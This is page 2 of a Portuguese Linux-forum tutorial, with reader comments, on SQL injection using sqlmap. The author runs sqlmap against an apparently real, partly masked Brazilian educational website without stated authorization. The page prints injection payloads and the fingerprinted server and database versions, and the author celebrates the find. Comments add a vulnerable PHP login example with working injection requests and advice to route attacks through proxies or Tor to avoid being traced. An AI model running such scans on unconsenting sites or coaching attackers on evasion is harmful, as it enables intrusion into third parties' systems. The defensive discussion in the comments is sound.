Festa com SQL injection

SQL injection é uma tática hacker que utiliza uma linguagem bem conhecida: SQL (Structured Query Language) ou Linguagem de Consulta Estruturada, é utilizada pela maioria dos SGDB "software livre" do Brasil e do mundo. Ela pode ser uma solução, ou um problema na vida de um administrador de redes.

[ Hits: 69.518 ]

Por: cristofe coelho lopes da rocha em 20/05/2013


Funfando bacana!



Let's go!

Para tranquilizar a galera do bem, informo que o sqlmap é multiplataforma e pode ser instalado em qualquer operation system. Apesar de ser 'amigo íntimoa de BSD system.

Vamos deixar de brincadeira e mão na massa, mas, com base F-BSD, é claro!

Depois de atualizar seu ports, faça:

# cd /usr/ports/security/sqlmap/
# make install clean


De qualquer ponto do sistema, escolha o alvo e vamos 'funfar':

# sqlmap --url "http://www.?????????.edu.br/XXXXXX/conc_docs/XXXX/?id_noticia=85" -b

Explicando 01

O parâmetro [-b] , pesquisa a versão do SGBD - Sistema gerenciador do banco.

Código de retorno:

sqlmap/0.9 - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

[*] starting at: 20:23:28

[20:23:28] [INFO] using '/usr/local/lib/python2.7/
site-packages/sqlmap/output/www.??????.xxxxx.br/session' as session file
[20:23:29] [INFO] testing connection to the target url
[20:23:31] [INFO] testing if the url is stable, wait a few seconds
[20:23:33] [INFO] url is stable
[20:23:33] [INFO] testing if GET parameter 'id_noticia' is dynamic
[20:23:34] [INFO] confirming that GET parameter 'id_noticia' is dynamic
[20:23:35] [INFO] GET parameter 'id_noticia' is dynamic
[20:23:36] [WARNING] heuristic 
test shows that GET parameter 'id_noticia' might not be injectable
[20:23:36] [INFO] testing sql injection on GET parameter 'id_noticia'
[20:23:36] [INFO] testing 
'AND boolean-based blind - WHERE or HAVING clause'
[20:23:49] [INFO] GET parameter 'id_noticia' is 'AND boolean-based blind -
 WHERE or HAVING clause' injectable
[20:23:49] [INFO] testing 'MySQL >= 5.0 AND error-based - 
 WHERE or HAVING clause'
[20:23:50] [INFO] testing 'PostgreSQL AND error-based - 
 WHERE or HAVING clause'
[20:23:51] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - 
 WHERE or HAVING clause'
[20:23:52] [INFO] testing 'Oracle AND error-based -
 WHERE or HAVING clause (XMLType)'
[20:23:53] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[20:23:54] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[20:23:55] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[20:23:56] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[20:24:09] [INFO] GET parameter 'id_noticia' is 
 'MySQL > 5.0.11 AND time-based blind' injectable
[20:24:09] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[20:24:23] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
GET parameter 'id_noticia' is vulnerable. 
 Do you want to keep testing the others? [y/N] y
sqlmap identified the following injection points 
 with a total of 40 HTTP(s) requests:
---
Place: GET
Parameter: id_noticia
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id_noticia=85' AND 1304=1304 AND 'JTax'='JTax

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id_noticia=85' AND SLEEP(5) AND 'kFej'='kFej
---

[20:24:45] [INFO] the back-end DBMS is MySQL
[20:24:45] [INFO] fetching banner
[20:24:45] [INFO] retrieved: 5.1.41-3ubuntu12.10
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL 5.0.11
banner:    '5.1.41-3ubuntu12.10'

  [20:27:49] [INFO] Fetched data logged to text files under 
  '/usr/local/lib/python2.7/
  site-packages/sqlmap/output/www.????????.edu.br'

  [*] shutting down at: 20:27:49

()rsrsrsrs... desculpa gente, mas foi difícil me conter)
A festa está feita!!! :-)

Para simplificar, o sqlmap testa todos os possíveis SGBDs com os [Ids] informados na URL. Mas caso você conheça um [Ids] vulnerável, pode setar.

Escancarou as linhas:
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL 5.0.11
banner: '5.1.41-3ubuntu12.10'

Compartilho da felicidade com meus amigos acadêmicos por ter sistemas de defesas assim.

Avisa esse cara para parar de relaxar com banners, pô!!!

Página anterior     Próxima página

Páginas do artigo
   1. Ética hacker
   2. Funfando bacana!
   3. Good, let's move on!
   4. Vias de fato!
   5. Defendendo-se do golpe baixo!
Outros artigos deste autor

Redes definidas por Software com Mininet e POX - Criando meu primeiro Controlador

Um dia depois da inundação

Backups com TAR e DUMP

Melhorando o nível de segurança com chflags

Alta disponibilidade com CARP

Leitura recomendada

SSH - Uma breve abordagem

Site seguro com Apache-SSL em 15 minutos

Código Aberto já não é uma questão de gosto

Netcat - O canivete suíco do TCP/IP

Tornando seu Apache mais seguro com o ModSecurity

  
Comentários
[1] Comentário enviado por Buckminster em 20/05/2013 - 08:49h

Bom artigo.

[2] Comentário enviado por jcb em 20/05/2013 - 09:22h

Cristof, show de bola esse post, mas estou com uma duvida ... depois ter "injetado" com o sqlmap, consigo executar tais comandos como UPDATE TABLE, SELECT, WHERE ??

Abraços,

[3] Comentário enviado por cristofe em 20/05/2013 - 10:44h

Olá Jcb,

O SQL injection com SQLmap prova que o sistema tem vulnerabilidades com relação a injeção de sql, por tanto vc pode elaborar query sql para realizar a consulta que acha melhor. Espero ter respondido sua questão.

[4] Comentário enviado por nicolas.cb em 20/05/2013 - 13:57h

Seria melhor colocar o nome do artigo como "SQLMap tutorial".
http://logdopinguim.blogspot.com

[5] Comentário enviado por jcb em 20/05/2013 - 14:14h

Cisfote,

seguinte, só vou conseguir executar a query se eu conseguir "quebrar" e ter acesso ao usuário root ou / admin database certo ? só assim terei acesso ao shell para poder executar as query´s!!!

abs,


[3] Comentário enviado por cristofe em 20/05/2013 - 10:44h:

Olá Jcb,

O SQL injection com SQLmap prova que o sistema tem vulnerabilidades com relação a injeção de sql, por tanto vc pode elaborar query sql para realizar a consulta que acha melhor. Espero ter respondido sua questão.



[6] Comentário enviado por cristofe em 20/05/2013 - 14:36h

Não Jcb, sua query pode ser injetada em um campo do formulário. Mas neste caso vc estarei tentando trazer a consulta na mao.

[7] Comentário enviado por cristofe em 20/05/2013 - 14:42h

nao sei o q o colega acima quer dizer com o comentário de SQL tutorial, mas se observar direito tive a preocupação de realizar a instrução para a defesa do ataque e utilzei um ambiente BSD. Não encontrei nenhum artigo nesta base e não encontrei nada demais no blog dele. acho que ele esta tentando dizer que ninguém comentou o vídeo dele e nem assistiu. ;-).

Aqui é VIVA o LINUX brow !!
;-)


[8] Comentário enviado por danniel-lara em 21/05/2013 - 13:36h

Parabéns pelo Artigo , ficou bagual

[9] Comentário enviado por cristofe em 21/05/2013 - 16:04h

Agradeço pelo comentário Danie-lara. Qualquer coisa estamos a disposiçao

[10] Comentário enviado por leorocco em 21/05/2013 - 22:31h

"É 'velho', TI não é fácil." hehe

Valeu pelo artigo, cristofe!

Mas, qual a melhor maneira de se proteger quando se usa um CMS?

[11] Comentário enviado por joaocpimenta em 22/05/2013 - 11:11h


[10] Comentário enviado por leorocco em 21/05/2013 - 22:31h:

"É 'velho', TI não é fácil." hehe

Valeu pelo artigo, cristofe!

Mas, qual a melhor maneira de se proteger quando se usa um CMS?



Os fatores de tratamento e preocupações com o código da aplicação quanto a segurança permanecem os mesmos quando se utiliza um CMS.

Além disso, os componentes e plugins do CMS devem estar sempre atualizados. Um firewall de aplicação é sempre bem vindo.

[12] Comentário enviado por marcoscsouza em 24/05/2013 - 00:51h

Excelente!

[13] Comentário enviado por cristofe em 24/05/2013 - 23:11h

Quero lhe agradecer mesmo pelo comentário marcoscsouza. Precisamos ouvir mesmo este apoio.

[14] Comentário enviado por roberto_espreto em 26/05/2013 - 18:27h

Concordo com a opinião do "nicolas.cb", este tutorial não explica o por que uma aplicação fica vulnerável a SQLi e sim como utilizar o SQLMap.
E a dica de manter tudo atualizado não quer dizer nada. A aplicação deve fazer a sanitização dos dados de entrada de cada usuário corretamente e saber como tratar sua saída.

Exemplo: Considere o seguinte código abaixo para uma página (login.php) de autenticação simples:

$resultado = pg_query("SELECT * from users WHERE uid = '".$_GET['usuario']."' AND pwd = '".$_GET['password']."';");
if (pg_query($resultado) > 0) {
echo "Login efetuado com sucesso";
user_redireciona_painel_controle();
}

O que acontece se eu passar como parâmetro a seguinte requisição?

http://site/login.php?usuario=admin'--&password=e

Como o DB vai enxergar esta consulta?

pg_query("SELECT * from users WHERE uid = 'admin'--' AND pwd = 'e';");

E agora, consigo executar comandos no db sem usar ferramentas de automação?

requisição:
http://site/login.php?usuario=admin'; SELECT @@version;--&password=e

resposta:
5.5.31-0ubuntu0.13.04.1

Para erros de SQL entre outros, recomendo seguir os guias da OWASP:

https://www.owasp.org/index.php/SQL_Injection
https://www.owasp.org/index.php/Testing_for_SQL_Injection_%28OWASP-DV-005%29
https://www.owasp.org/index.php/Reviewing_Code_for_SQL_Injection
https://www.owasp.org/index.php/Guide_to_SQL_Injection

Claro, sobre como utilizar o sqlmap, a escrita do tutorial ficou boa! :D

Abs,



[15] Comentário enviado por cristofe em 26/05/2013 - 19:23h

Boa Roberto espreto,

Não entendi muito sobre concordar com o outro rapaz e dica de deixar tudo atualizado, como vc pode ver no início do artigo que vc nao leu todo. A intensão não é esgotar o assunto. Apenas explicar como acontece o ataque. Achei interessante postar. Quem sabe vc com toda a sua sabedoria curiosa dedica um tempo, assim como fiz, e produz algo mais completo. Criticar é fácil. De qualquer forma lhe agradeço.

[16] Comentário enviado por joaocpimenta em 27/05/2013 - 17:31h

"A dica de manter tudo atualizado não quer dizer nada"

Roberto, no caso de CMS (como perguntado acima) Joomla, WP, Drupal...Manter os components atualizados é fundamental, eles viabilizam e facilitam ataques SQLi.

Obviamente não substitui o tratamento do código, mas os bancos de dados default desses CMS muitas vezes negligenciam isso, e como não é do escopo do admin tratar esses bancos, vem a necessidade de manter atualizados os components.

Segue um exemplo de exploração em cima de components desatualizados.

http://www.exploit-db.com/exploits/17136/
http://www.exploit-db.com/exploits/15453/

[17] Comentário enviado por roberto_espreto em 27/05/2013 - 22:45h

cristofe,

Não me leve a mal, só quis dizer que não concordei com o título do artigo. Acho que deveria ser do tipo: "Explorando SQLi com SQLMap". Ao final falei que ficou bom. :)
Se você escrever para alguém com conhecimento mais crítico (exemplo, professor), a primeira coisa que ele irá perguntar será: Mas o que é SQL Injection? Imagina em um TCC. :)

joaocpimenta,

Quando disse: "A dica de manter tudo atualizado não quer dizer nada", realmente não significa muita coisa (mas deve ser feito, claro), pois existem novas vulnerabilidades que são descobertas em softwares "atualizados", os chamados 0-day. Ou seja, existe uma forma de explorar o software e ainda não existe correção para tal. Como me defendo contra este tipo de vulnerabilidade (0-day)? Existem N fatores que trabalham em conjunto em uma empresa/organização para minimizar estes riscos, exemplo, firewall de aplicação (Web Application Firewall - WAF), segmentação de ambientes, hardening de sistema operacional etc. A dica de atualização, é apenas uma, dentre várias.

Abs,


[18] Comentário enviado por cristofe em 27/05/2013 - 23:05h

Ok Roberto esperto, sem problemas. Se observar não tive realmente a intenção de esgotar o assunto, haja vista que é tenso. Todavia, o foco era mesmo o SQLMap. Não entendi o q há com o título, mas esquenta não. Somente um toque, pois as pessoas que escrevem para o VOL não ganham nada, e fazem de bom agrado.
Há Sim, deixa eu te, falar sou Professor do Instituto Federal e contribuo com o VOL desde 2006 e nunca agradei a todos. É assim mesmo !!
Forte Abraco !!!

[19] Comentário enviado por joaocpimenta em 28/05/2013 - 00:06h


[11] Comentário enviado por joaocpimenta em 22/05/2013 - 11:11h:


[10] Comentário enviado por leorocco em 21/05/2013 - 22:31h:

"É 'velho', TI não é fácil." hehe

Valeu pelo artigo, cristofe!

Mas, qual a melhor maneira de se proteger quando se usa um CMS?


Os fatores de tratamento e preocupações com o código da aplicação quanto a segurança permanecem os mesmos quando se utiliza um CMS.

Além disso, os componentes e plugins do CMS devem estar sempre atualizados. Um firewall de aplicação é sempre bem vindo.


Com certeza manter os components atualizados é uma das muitas coisas a se fazer... o WAF é uma boa, como eu havia sugerido também...

Por isso eu reforço: são N ações preventivas que não eliminam umas as outras. Um WAF não elimina a necessidade de Hardening, o Hardening não elimina a necessidade de código seguro e por aí vai...

No caso dos CMS, reforcei o aspecto de atualização, porque qualquer Zé pode rodar um exploit pronto contra uma vulnerabilidade conhecida e ter eficácia num dump de base por exemplo. É uma situação comum.

Já um 0 day é muito mais raro, mas obviamente não pode ser descartado.

Enfim... Segurança são muitos aspectos, citamos alguns superficialmente.

Abraço

[20] Comentário enviado por silent-man em 28/05/2013 - 16:34h

Eu ia comentar sobre o 0 day, mas já adiantaram. Além do mais, acredito que estão desviando o foco do ARTIGO.

Aos "hackudos", como bem colocou o autor do artigo: "Sem esquecer da nossa Maria da Penha e a Lei "Carolina Dieckmann", não esqueçam de utilizar um proxy

sqlmap.conf

proxy = http://ip_servidor_proxy:80

[21] Comentário enviado por Rafaelmspc em 29/05/2013 - 17:01h

A opção do sqlmap --proxy=http://ip:porta e ainda se for usar tor, a opção. --tor.


[20] Comentário enviado por silent-man em 28/05/2013 - 16:34h:

Eu ia comentar sobre o 0 day, mas já adiantaram. Além do mais, acredito que estão desviando o foco do ARTIGO.

Aos "hackudos", como bem colocou o autor do artigo: "Sem esquecer da nossa Maria da Penha e a Lei "Carolina Dieckmann", não esqueçam de utilizar um proxy

sqlmap.conf

proxy = http://ip_servidor_proxy:80



[22] Comentário enviado por bruno_cavalcanti em 12/06/2013 - 09:58h

www.hidemyass.com

lista de proxy abraço

[23] Comentário enviado por marckos em 27/06/2013 - 08:59h

Mesmo ocultando partes da url é possível saber a instituição @cristofe

[24] Comentário enviado por wagnerfs em 01/10/2014 - 11:49h

Parabéns pelo artigo. Bastante elucidativo.


Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts